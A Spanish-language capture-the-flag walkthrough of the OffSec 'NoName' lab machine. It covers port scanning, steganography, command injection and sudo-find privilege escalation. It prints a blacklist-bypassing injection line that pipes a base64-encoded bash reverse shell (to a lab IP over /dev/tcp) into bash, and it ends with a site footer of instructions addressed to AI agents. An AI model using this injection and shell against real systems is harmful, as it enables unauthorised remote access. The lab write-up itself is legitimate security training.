# OffSec NoName

<figure><img src="/files/ZciI1TZjzHjVvF7156Ie" alt=""><figcaption></figcaption></figure>

Hoy vamos a resolver la maquina NoName de OffSec.

<figure><img src="/files/qAHJESOYjckacPOuXYcg" alt=""><figcaption></figcaption></figure>

Primeor que nada un escaneo para ver puertos abiertos dentro de la maquina.

```javascript
# Nmap 7.94SVN scan initiated Thu Jan 11 18:00:26 2024 as: nmap -sCV -p80 -oN taregt.txt 192.168.170.15
Nmap scan report for 192.168.170.15
Host is up (0.051s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jan 11 18:00:35 2024 -- 1 IP address (1 host up) scanned in 9.54 seconds

```

Ahora siguiendo con Nmap vamos a ver las versiones y servico que corren para este unico puerto abierto.

<figure><img src="/files/dgen0ABPyNsBPBF2XI2K" alt=""><figcaption></figcaption></figure>

Ahora haciendo uso de Wfuzz encontramos un directorio en la pagina web llamado admin.

<figure><img src="/files/4imZqvSqf7dD8Kpt1Eao" alt=""><figcaption></figcaption></figure>

Si nos vamos a lo que habiamos encontrado nos damos de tope con estas imagenes que estan en la web, vamos inspeccionar el codigo fuente haber si encontramos algo.

<figure><img src="/files/HYMJt7pNRoeWvXGWliDN" alt=""><figcaption></figcaption></figure>

En el codigo fuente tenemos esta pequeña pista, que igualmente tenemos tres imagenes a las cuales haremos estenografia haber que sale.

<figure><img src="/files/QOkrNNaFAo1gfRxPbcqf" alt=""><figcaption></figcaption></figure>

Si nos descargamos a haclabs y hacemos uso de steghide encontramos algo.

<figure><img src="/files/AuObIfBg3nPZLmBRlbM0" alt=""><figcaption></figcaption></figure>

Un contenido que estaba en base64 ahora lo pasamos a texto normal y nos estan dando un nuevo directorio dentro de la web.

<figure><img src="/files/Y84QFpPtgSuQchURAalf" alt=""><figcaption></figcaption></figure>

Si nos vamos al directorio superadmin.php, y su hacemos un | whoami, nos dice que somos www-data, pero estube probando ls -l pwd y otros y solo funciona este. Seguro por detras haya una lista negra de inputs no permitidos.

<figure><img src="/files/FatmJ7K1UiB4FKL9819H" alt=""><figcaption></figcaption></figure>

Si le hacemos un cat ah superadmin.php.

<figure><img src="/files/X4Ox1D8fVSfCDBapdScl" alt=""><figcaption></figcaption></figure>

Nos damos con esto una lista negra donde estan contemplados que no se permite como input.

<figure><img src="/files/uDmeDoCOx6XoE3ulmFUP" alt=""><figcaption></figcaption></figure>

Entonces como ganamos acceso si nuestras herramientas estan en una lista negra, pues facil vamos pasar los tipicos comandos que ponemos para ganar acceso a una maquina en bas64 haciendo uso de echo.

```java
127.0.0.1|echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ1LjE1Ny80NDMgMD4mMQo='|base64 -d |bash

De esta forma introduce tu cadena codificada en el input.
```

<figure><img src="/files/pNyr2MPxi72o3IIdj8Bn" alt=""><figcaption></figcaption></figure>

Observamos que ganamos acceso como www-data.

<figure><img src="/files/0ePyT128eFervIn5QTQN" alt=""><figcaption></figcaption></figure>

Buscando nos dejan una pista por aca donde dice que la contraseña esta escondida en un archivo.

<figure><img src="/files/ENOz8nSFloeLKPnAvxDR" alt=""><figcaption></figcaption></figure>

Entonces si buscamos desde la raiz todo tipo de archivos para el usuario yash, nos contramos varios, pero el importante es el .passwd donde se almacena una contraseña.

<figure><img src="/files/bg5eqPmN49rFa4JOzeXh" alt=""><figcaption></figcaption></figure>

Hacemos uso de la contraseña y si hacemos un whoami somos haclabs.

Y buscando permisos si hacemos un sudo -l observamos que este usuario puede ejecutar como root el comando find. Si te vas a gtfobins.io seguro que encuentras algo del como usarlo para escalar privilegios.

<figure><img src="/files/IUVg3ocYCgw7OR7x8uyn" alt=""><figcaption></figcaption></figure>

Encontramos la forma de usarlo para escalar privilegios, nos convertimos en root y bueno maquina resuelta.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://rodgar.gitbook.io/rodgar/plataformas/vulnhub/offsec-noname.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
